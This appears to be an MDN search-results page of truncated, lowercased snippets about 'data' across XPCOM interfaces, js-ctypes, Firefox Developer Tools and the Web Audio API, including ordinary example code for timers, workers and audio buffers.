appendelements(in nsisupportsarray aelements); violates the xpcom interface guidelines nsisupportsarray clone(); void compact(); void deleteelementat(in unsigned long aindex); void deletelastelement(in nsisupports aelement); nsisupports elementat(in unsigned long aindex); violates the xpcom interface guidelines boolean enumeratebackwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean enumerateforwards(in nsisupportsarrayenumfunc afunc, in voidptr adata); violates the xpcom interface guidelines boolean equals([const] in nsisupportsarray other); violates the xpcom interface guidelines long getindexof(in nsisupports apossibleelement); long getindexofstartingat(in nsisupports apossibleelement, in unsigned long astartindex)...
...ong aindex ); parameters aindex deletelastelement() void deletelastelement( in nsisupports aelement ); parameters aelement violates the xpcom interface guidelines elementat() nsisupports elementat( in unsigned long aindex ); parameters aindex return value enumeratebackwards() [notxpcom, noscript] boolean enumeratebackwards( in nsisupportsarrayenumfunc afunc, in voidptr adata ); parameters afunc adata return value enumerateforwards() [notxpcom, noscript] boolean enumerateforwards( in nsisupportsarrayenumfunc afunc, in voidptr adata ); parameters afunc adata return value violates the xpcom interface guidelines equals() boolean equals( [const] in nsisupportsarray other ); parameters other return value getindexof() long getindexof( in nsisu...
nsISupportsInterfacePointer
inherits from: nsisupportsprimitive last changed in gecko 1.2 method overview string tostring(); attributes attribute type description data nsisupports provides access to the native type represented by the object.
... dataiid nsidptr stores an iid corresponding to the data attribute.
nsITimer
the subject is set to the nsitimer object which fired, the topic is equal to "timer-callback" and data is always set to null.
...timer.initwithcallback(event,10000, components.interfaces.nsitimer.type_one_shot); using init, we fire an event every 10 seconds: var event = { observe: function(subject, topic, data) { dump("hello world\n"); } } var timer = components.classes["@mozilla.org/timer;1"].createinstance(components.interfaces.nsitimer); const type_repeating_precise_can_skip = components.interfaces.nsitimer.type_repeating_precise_can_skip; timer.init(event, 10*1000, type_repeating_precise_can_skip); see also nstimercallbackfunc nsitimercallback ...
nsITransportEventSink
aprogress the amount of data either read or written depending on the value of the status code.
...aprogressmax the maximum amount of data that will be read or written.
nsIUploadChannel
netwerk/base/public/nsiuploadchannel.idlscriptable a channel may optionally implement this interface if it supports the notion of uploading a data stream.
... history here is that we need to support both streams that already have headers (for example, content-type and content-length) information prepended to the stream (by plugins) as well as clients (composer, uploading application) that want to upload data streams without any knowledge of protocol specifications.
nsIVariant
attributes attribute type description datatype pruint16 read only.
... return value if the conversion succeeds, ns_ok is returned, otherwise ns_error_cannot_convert_data is returned.
nsIWebSocketListener
amsg the message data.
... amsg the message data, as a utf-8 string.
nsIWindowWatcher
for example the following code will block the system because it will open windows continuously: function mywindowobserver() { this.observe=function(asubject, atopic, adata) { alert("window event: " + atopic) //and this is where the bugs origins because opening this alert will cause a window-open //event and the call of this method again (forever) } } var ww = components.classes["@mozilla.org/embedcomp/window-watcher;1"] .getservice(components.interfaces.nsiwindowwatcher); ww.registernotification(new mywindowobserver()) alert("") //genera...
... adata - not used.
nsIWorkerScope
the message is in the event's data member.
...it will be stored as the data member in the event.
nsIXULSortService
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void insertcontainernode(in nsirdfcompositedatasource db, in nsrdfsortstate sortstateptr, in nsicontent root, in nsicontent trueparent, in nsicontent container, in nsicontent node, in boolean anotify); native code only!
...void insertcontainernode( in nsirdfcompositedatasource db, in nsrdfsortstate sortstateptr, in nsicontent root, in nsicontent trueparent, in nsicontent container, in nsicontent node, in boolean anotify ); parameters db sortstateptr root trueparent container node anotify sort() sort the contents of the widget containing anode using asortkey as the comparison key, and asorthints as how to sort.
nsIXULTemplateResult
generally, the result and its id will be able to uniquely identify a node in the source data, such as an rdf or xml node.
... in other contexts, such as a database query, a result would represent a particular record.
nsIXmlRpcClient
call this before using this object void getdata ( in string serverurl ) ; parameters serverurl url of server side object on which methods should be called setauthentication() set authentication info if needed.
...via nsixpconnect::getpendingexception()->data a nsixmlrpcfault object can be retreieved with more information on the fault.
nsIXmlRpcFault
xml-rpc server fault codes are returned wrapped in this; access it using nsixpconnect.getpendingexception->data.
... methods init() void getdata( in print32 faultcode, in string faultstring ); parameters faultcode tostring() string tostring(); ...
nsIZipEntry
obsolete since gecko 1.9 realsize unsigned long the uncompressed size of the data in the item.
... size unsigned long the compressed size of the data in the item.
wrappedJSObject
this also makes the public interface of the component clearer and provides protection for the component's internal data.
... this functionality can be used for quick prototyping, as well as to painlessly pass arbitrary js values to the component (which can be used for sharing complex js data in particular).
XPIDL Syntax
MozillaTechXPIDLSyntax
pyxpidl syntax idlfile = *(cdata / include / interface / typedef / native) typedef = "typedef" identifer identifier ";" native = [attributes] "native" identifier "(" nativeid ")" interface = [attributes] "interface" identifier" [ifacebase] [ifacebody] ";" ifacebase = ":" identifier ifacebody = "{" *(member) "}" member = cdata / "const" identifier identifier "=" number ";" member /= [attributes] ["readonly"] "attribute...
...ifier / const) ["(" (identifier / iid) ")"] param = [attributes] ("in" / "out" / "inout") identifier identifier number = number / identifier number /= "(" number ")" number /= "-" number number /= number ("+" / "-" / "*") number number /= number ("<<" / >>") number number /= number "|" number ; lexical tokens, i'm going to specify these in regex form number = /-?\d+|0x[0-9a-fa-f]+/ cdata = /%{[ ]*c\+\+[ ]*\n(.*?\n?)%}[ ]*(c\+\+)?/s include = /\#include[ \t]+"[^"\n]+"/ nativeid = /[^()\n]+(?=\))/ iid = /[0-9a-fa-f]{8}-[0-9a-fa-f]{4}-[0-9a-fa-f]{4}-[0-9a-fa-f]{12}/ identifier = /unsigned long long|unsigned short|unsigned long|long long|[a-za-z][a-za-z_0-9]*/ ...
Mail event system
mozilla mail requires an event system to notify different subsystems that data has changed.
...for each global listener, it calls onintpropertychanged: listener->onintpropertychanged(folder, ktotalmessagesatom, 4, 5); the folder datasource is a listener on all folders and receives this notification.
Spam filtering
training data is global across all mail accounts within a profile.
... training data is stored in a binary format, in a file named "training.dat".
Create Custom Column
the article "creating a custom column" will get you well on the road to creating your own columns and populating them with custom data.
... the customdbheaders preference article provides information on a preference setting that exposes custom header data for use in a custom column within thunderbird's main view.
Theme Packaging
you must have a top-level chrome.manifest file which registers the chrome for the theme (as before) and also an install.rdf manifest that specifies metadata that is displayed in the appearance section of the add-ons manager.
...--> <em:targetapplication> <description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>0.9</em:maxversion> </description> </em:targetapplication> <!-- front end metadata --> <em:name>new theme 1</em:name> <em:description>a test theme for thunderbird</em:description> <em:creator>ben goodger</em:creator> <em:contributor>john doe</em:contributor> <em:homepageurl>http://www.bengoodger.com/</em:homepageurl> <!-- front end integration hooks (used by theme manager)--> <em:internalname>newtheme1</em:internalname> </description> </rdf> the...
Zombie compartments
multiple compartments can share a zone, where a zone keeps track of things that can easily and securely be shared between related compartments such as string data and type information.
...asm.js │ │ │ │ ├──2.43 mb (00.49%) -- shapes │ │ │ │ │ ├──1.47 mb (00.29%) ++ gc-heap │ │ │ │ │ └──0.96 mb (00.19%) ++ malloc-heap │ │ │ │ ├──1.03 mb (00.21%) -- scripts │ │ │ │ │ ├──0.72 mb (00.14%) ── gc-heap [2] │ │ │ │ │ └──0.31 mb (00.06%) ── malloc-heap/data [2] │ │ │ │ ├──0.80 mb (00.16%) -- type-inference │ │ │ │ │ ├──0.66 mb (00.13%) ── type-scripts [2] │ │ │ │ │ ├──0.13 mb (00.03%) ── allocation-site-tables [2] │ │ │ │ │ └──0.02 mb (00.00%) ── object-type-tables [2] │ │ │ │ └──0.01 mb (00.00%) -- sundries │ │ │ │ ...
Using Objective-C from js-ctypes
we need to declare three different functiontype cdatas: returns id or compatible type.
... let objc_getclass = lib.declare("objc_getclass", ctypes.default_abi, id, ctypes.char.ptr); let sel_registername = lib.declare("sel_registername", ctypes.default_abi, sel, ctypes.char.ptr); calling variadic function objc_msgsend is a variadic function, so we should always pass it a cdata instance, other than this first and second argument, to declare each argument type.
Examples
general using c struct and pointers an example on how to use basic c data types with js-ctypes.
... the js-macosx bridge has dependency on bridgesupport metadata: whenever a cocoa class, function, struct or const is encountered in the javascript code, js-macosx will replace it with the corresponding js-ctypes declaration based on the bridgesupport file from the framework that object belongs to.
Debugging Tips
printing cdata and ctype currently console.log doesn't show type information of cdata.
... let { ctypes } = components.utils.import("resource://gre/modules/ctypes.jsm", {}); let i = ctypes.int32_t(10); console.log(i); let point = ctypes.structtype("point", [{ x: ctypes.int32_t }, { y: ctypes.int32_t }]) let p = point(10, 20); console.log(p); let pp = p.address(); console.log(pp); the result will be as following: cdata { value: 10 } cdata { x: 10, y: 20 } cdata { contents: cdata } to see more descriptive information, you can use .tosource().
Declaring types
field descriptors each field descriptor is comprised of a field name and its data type, represented as a string and a ctype object, respectively.
... var timestr = asctime(thetime.address()); // pass a pointer to the tm struct var jsstring = timestr.readstring(); // convert the c string to javascript the last line converts the c string returned by the libc asctime() function into a javascript string by calling the cdata readstring() method.
js-ctypes
using js-ctypes ctypes.open custom native file standard os libraries finding window handles working with data working with arraybuffers declaring types declaring and calling functions declaring and using callbacks type conversion memory management chromeworker js-ctypes reference a reference guide to the js-ctypes api.
... abi cdata ctype ctypes functiontype int64 library uint64 view all...
Flash Activation: Browser Comparison - Plugins
increated() { // we don't need to see the plugin, so hide it by resizing var plugin = document.getelementbyid('myplugin'); plugin.height = 0; plugin.width = 0; plugin.callpluginmethod(); } the html, by default, specifies the flash object to be a size that makes it visible, like this: <!-- give the plugin an initial size so it is visible --> <object type="application/x-shockwave-flash" data="myapp.swf" id="myplugin" width="300" height="300"> <param name="callback" value="plugincreated()"> </object> the callback parameter defined in the html can be called in flash using its flash.external.externalinterface api.
... first, set your up your html with a callback that calls the javascript function plugincreated(), like this: <object type="application/x-my-plugin" data="somedata.mytype" id="myplugin"> <param name="callback" value="plugincreated()"> </object> the plugincreated() function is then responsible for the setup of your script and any calls back into the plugin that you need to make: function plugincreated() { document.getelementbyid('myplugin').callpluginmethod(); } ...
Accessibility Inspector - Firefox Developer Tools
print accessibility tree to json you can print the contents of the accessibility tree to json by right-clicking on an entry in the accessibility tab and selecting print to json: when you do, you will get a new tab with the selected accessibility tree loaded into the json viewer: once opened, you can save or copy the data as necessary.
... the json viewer can also show you the raw json data on a separate tab in the viewer.
Debugger.Environment - Firefox Developer Tools
this means that the debugger can use the == operator to recognize when two debugger.environment instances refer to the same environment in the debuggee, and place its own properties on a debugger.environment instance to store metadata about particular environments.
... source metadata generated from file: js/src/doc/debugger/debugger.environment.md watermark: sha256:3d6f67939e351803d5d7fe201ed38c4aaf766caf032f255e168df1f1c6fe73cb changeset: 7ae377917236 ...
Debugger.Object - Firefox Developer Tools
this means that the debugger can use the == operator to recognize when two debugger.object instances refer to the same debuggee object, and place its own properties on a debugger.object instance to store metadata about particular debuggee objects.
... source metadata generated from file: js/src/doc/debugger/debugger.object.md watermark: sha256:7ae16a834e0883a95b4e0d227193293f6b6e4e4dd812c2570372a39c4c04897b changeset: 5572465c08a9+ ...
Debugger-API - Firefox Developer Tools
thus, a tool can store metadata about a shadow’s referent as a property on the shadow itself, and count on finding that metadata again if it comes across the same referent.
... source metadata generated from file: js/src/doc/debugger/debugger-api.md watermark: sha256:6ee2381145a0d2e53d2f798f3f682e82dd7ab0caa0ac4dd5e56601c2e49913a7 changeset: ffa775dd5bd4 ...
Index - Firefox Developer Tools
87 flame chart the call tree and the flame chart are both used to analyze your site's javascript, and they both use the same data: a sample of the javascript engine's stack, taken periodically during the recording.
...this table contains the following columns: 109 indexeddb dev tools, firefox, guide, indexeddb, storage, storage inspector, tools, l10n:priority when you select an origin inside the indexed db storage type in the storage tree of the storage inspector, a table lists the details of all the databases present for that origin.
Tree map view - Firefox Developer Tools
a treemap displays "hierarchical (tree-structured) data as a set of nested rectangles".
... the size of the rectangles corresponds to some quantitative aspect of the data.
Examine and edit HTML - Firefox Developer Tools
subtree modification attribute modification node removal use in console show dom properties show accessibility properties change pseudo-class hover active focus focus-within visited screenshot node scroll into view copy inner html outer html css selector css path xpath image data-url attribute paste inner html outer html before after as first child as last child expand all collapse all open link in new tab * open file in debugger * open file in style-editor * copy link address * * these options only appear in certain contexts, for example the "open file in style-editor" option only appears when you context-click over the top of a...
... (copy) image data-url copy image as a data:// url, if the selected element is an image.
Intensive JavaScript - Firefox Developer Tools
the main thread code would look something like this: const iterations = 50; const multiplier = 1000000000; var worker = new worker("js/calculate.js"); function dopointlesscomputationsinworker() { function handleworkercompletion(message) { if (message.data.command == "done") { pointlesscomputationsbutton.disabled = false; console.log(message.data.primes); worker.removeeventlistener("message", handleworkercompletion); } } worker.addeventlistener("message", handleworkercompletion, false); worker.postmessage({ "multiplier": multiplier, "iterations": iterations }); } the main difference here, compared with the o...
... then we need a new file "calculate.js", that looks like this: self.addeventlistener("message", go); function go(message) { var iterations = message.data.iterations; var multiplier = message.data.multiplier; primes = calculateprimes(iterations, multiplier); self.postmessage({ "command":"done", "primes": primes }); } function calculateprimes(iterations, multiplier) { var primes = []; for (var i = 0; i < iterations; i++) { var candidate = i * (multiplier * math.random()); var isprime = true; for (var c = 2; c <= math.sqrt(candidate); ++c) { if (candidate % c === 0) { ...
Web Console remoting - Firefox Developer Tools
examples: { "from": "conn0.netevent14", "type": "networkeventupdate", "updatetype": "requestheaders", "headers": 10, "headerssize": 425 }, { "from": "conn0.netevent14", "type": "networkeventupdate", "updatetype": "requestcookies", "cookies": 0 }, { "from": "conn0.netevent14", "type": "networkeventupdate", "updatetype": "requestpostdata", "datasize": 1024, "discardrequestbody": false }, { "from": "conn0.netevent14", "type": "networkeventupdate", "updatetype": "responsestart", "response": { "httpversion": "http/1.1", "status": "304", "statustext": "not modified", "headerssize": 194, "discardresponsebody": true } }, { "from": "conn0.netevent14", "type": "networkeventupdate", "updatetype": "e...
... the getrequestpostdata packet: { "to": "conn0.netevent15", "type": "getrequestpostdata" } { "from": "conn0.netevent15", "postdata": { text: "foobar" }, "postdatadiscarded": false } the getresponsecontent packet: { "to": "conn0.netevent15", "type": "getresponsecontent" } { "from": "conn0.netevent15", "content": { "mimetype": "text/css", "text": "\n@import \"test.css\";\n\n.foobar { color: gr...
AnalyserNode.AnalyserNode() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioBuffer() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioBuffer.copyFromChannel() - Web APIs
the copyfromchannel() method of the audiobuffer interface copies the audio sample data from the specified channel of the audiobuffer to a specified float32array.
... channelnumber the channel number of the current audiobuffer to copy the channel data from.
AudioBuffer.duration - Web APIs
the duration property of the audiobuffer interface returns a double representing the duration, in seconds, of the pcm data stored in the buffer.
... at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.duration); } specification specification status comment web audio apithe definition of 'duration' in ...
AudioBuffer.length - Web APIs
the length property of the audiobuffer interface returns an integer representing the length, in sample-frames, of the pcm data stored in the buffer.
... at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.length); } specification specification status comment web audio apithe definition of 'length' in that ...
AudioBuffer.numberOfChannels - Web APIs
the numberofchannels property of the audiobuffer interface returns an integer representing the number of discrete audio channels described by the pcm data stored in the buffer.
... at the // sample rate of the audiocontext var framecount = audioctx.samplerate * 2.0; var myarraybuffer = audioctx.createbuffer(2, framecount, audioctx.samplerate); button.onclick = function() { // fill the buffer with white noise; // just random values between -1.0 and 1.0 for (var channel = 0; channel < channels; channel++) { // this gives us the actual arraybuffer that contains the data var nowbuffering = myarraybuffer.getchanneldata(channel); for (var i = 0; i < framecount; i++) { // math.random() is in [0; 1.0] // audio needs to be in [-1.0; 1.0] nowbuffering[i] = math.random() * 2 - 1; } } console.log(myarraybuffer.numberofchannels); } specification specification status comment web audio apithe definition of 'number...
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioBufferSourceNode.start() - Web APIs
the start() method of the audiobuffersourcenode interface is used to schedule playback of the audio data contained in the buffer, or to begin playback immediately.
... source.start(audioctx.currenttime + 1,3,10); for a more complete example showing start() in use, check out our audiocontext.decodeaudiodata() example, you can also run the code example live, or view the source.
AudioContext.baseLatency - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioContext.close() - Web APIs
closed contexts cannot have new nodes created, but can decode audio data, create buffers, etc.
... this function does not automatically release all audiocontext-created objects, unless other references have been released as well; however, it will forcibly release any system audio resources that might prevent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data.
AudioContext.createJavaScriptNode() - Web APIs
the audiocontext.createjavascriptnode() method creates a javascriptnode which is used for directly manipulating audio data with javascript.
... example the following script illustrates the use of createjavascriptnode(): var sinewave = function(context) { var that = this; this.x = 0; // initial sample number this.context = context; this.node = context.createjavascriptnode(1024, 1, 1); this.node.onaudioprocess = function(e) { that.process(e) }; } sinewave.prototype.process = function(e) { var data = e.outputbuffer.getchanneldata(0); for (var i = 0; i < data.length; ++i) { data[i] = math.sin(this.x++); } } sinewave.prototype.play = function() { this.node.connect(this.context.destination); } sinewave.prototype.pause = function() { this.node.disconnect(); } see also generating tones with the web audio api exploring the html5 web audio: visualizing sound ...
AudioListener.dopplerFactor - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.forwardX - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.forwardY - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.forwardZ - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.positionX - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.positionY - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.positionZ - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.setOrientation() - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.setPosition() - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
